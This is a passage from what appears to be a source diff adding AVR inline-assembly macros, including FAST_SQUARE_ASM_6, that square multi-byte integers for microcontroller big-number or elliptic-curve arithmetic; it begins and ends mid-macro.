\n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r16, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r12, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r13, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r14, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r15, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r16, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r13, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r14, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r15, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r16, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r17, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r14, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r15, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r16, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r17, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r15, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r16, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "mul r17, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r18, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r16, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r17, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "mul r18, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r17, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r18, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r19, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r27 \n\t" \ + "add r23, r25 \n\t" \ + "adc r24, r26 \n\t" \ + "adc r22, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r26, 0 \n\t" \ + "mul r18, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r25, r1 \n\t" \ + "mul r19, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "adc r26, r27 \n\t" \ + "lsl r23 \n\t" \ + "rol r25 \n\t" \ + "rol r26 \n\t" \ + "add r23, r24 \n\t" \ + "adc r25, r22 \n\t" \ + "adc r26, r27 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r19, r21 \n\t" \ + "lsl r0 \n\t" \ + "rol r1 \n\t" \ + "adc r23, r27 \n\t" \ + "add r25, r0 \n\t" \ + "adc r26, r1 \n\t" \ + "adc r23, r27 \n\t" \ + "mul r20, r20 \n\t" \ + "add r25, r0 \n\t" \ + "adc r26, r1 \n\t" \ + "adc r23, r27 \n\t" \ + "st z+, r25 \n\t" \ + \ + "ldi r25, 0 \n\t" \ + "mul r20, r21 \n\t" \ + "lsl r0 \n\t" \ + "rol r1 \n\t" \ + "adc r25, r27 \n\t" \ + "add r26, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r25, r27 \n\t" \ + "st z+, r26 \n\t" \ + \ + "mul r21, r21 \n\t" \ + "add r23, r0 \n\t" \ + "adc r25, r1 \n\t" \ + "st z+, r23 \n\t" \ + "st z+, r25 \n\t" \ + "eor r1, r1 \n\t" + +#define FAST_SQUARE_ASM_6 \ + "ldi r25, 0 \n\t" \ + "movw r28, r26 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "adiw r28, 20 \n\t" \ + "ld r12, y+ \n\t" \ + "ld r13, y+ \n\t" \ + "adiw r30, 20 \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul 2, 12 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r12, y+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r13, y+ \n\t" \ + "ldi r23, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "mul r3, r12 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "adc r23, r25 \n\t" \ + "st z+, r24 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r24, 0 \n\t" \ + "mul r3, r13 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "mul r2, r12 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ld r3, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "mul r3, r13 \n\t" \ + "add r24, r0 \n\t" \ + "adc r22, r1 \n\t" \ + "st z+, r24 \n\t" \ + "st z+, r22 \n\t" \ + \ + "sbiw r26, 4 \n\t" \ + "sbiw r30, 28 \n\t" \ + "ld r2, x+ \n\t" \ + "ld r3, x+ \n\t" \ + "ld r4, x+ \n\t" \ + "ld r5, x+ \n\t" \ + "ld r6, x+ \n\t" \ + "ld r7, x+ \n\t" \ + "ld r8, x+ \n\t" \ + "ld r9, x+ \n\t" \ + "ld r10, x+ \n\t" \ + "ld r11, x+ \n\t" \ + "ld r12, x+ \n\t" \ + "ld r13, x+ \n\t" \ + "ld r14, x+ \n\t" \ + "ld r15, x+ \n\t" \ + "ld r16, x+ \n\t" \ + "ld r17, x+ \n\t" \ + "ld r18, x+ \n\t" \ + "ld r19, x+ \n\t" \ + "ld r20, x+ \n\t" \ + "ld r21, x+ \n\t" \ + \ + "ldi r23, 0 \n\t" \ + "mul r2, r2 \n\t" \ + "st z+, r0 \n\t" \ + "mov r22, r1 \n\t" \ + \ + "ldi r24, 0 \n\t" \ + "mul r2, r3 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "add r22, r0 \n\t" \ + "adc r23, r1 \n\t" \ + "adc r24, r25 \n\t" \ + "st z+, r22 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r3, r3 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r5 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r6 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r4, r4 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r7 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r8 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r5, r5 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r9 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r10 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r6, r6 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r11 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r12 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r7, r7 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r13 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r14 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r8, r8 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r15 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r16 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r9, r9 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r17 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r18 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r10, r10 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r19 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r22, 0 \n\t" \ + "mul r2, r20 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r3, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r4, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r11, r11 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + "adc r22, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ldi r29, 0 \n\t" \ + "mul r2, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r28, r1 \n\t" \ + "mul r3, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r4, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r5, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r6, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r7, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r8, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r9, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r10, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "mul r11, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r28, r1 \n\t" \ + "adc r29, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r28 \n\t" \ + "rol r29 \n\t" \ + "add r23, r24 \n\t" \ + "adc r28, r22 \n\t" \ + "adc r29, r25 \n\t" \ + "st z+, r23 \n\t" \ + \ + "ld r2, x+ \n\t" \ + "ldi r22, 0 \n\t" \ + "mul r3, r21 \n\t" \ + "mov r23, r0 \n\t" \ + "mov r24, r1 \n\t" \ + "mul r4, r20 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r5, r19 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r6, r18 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r7, r17 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r8, r16 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r9, r15 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r10, r14 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "mul r11, r13 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "ld r0, z \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r25 \n\t" \ + "adc r22, r25 \n\t" \ + "lsl r23 \n\t" \ + "rol r24 \n\t" \ + "rol r22 \n\t" \ + "mul r12, r12 \n\t" \ + "add r23, r0 \n\t" \ + "adc r24, r1 \n\t" \ + "adc r22, r25 \n\t" \ + "add r23, r28 \n\t" \ + "adc r24, r29 \n\t" \ + 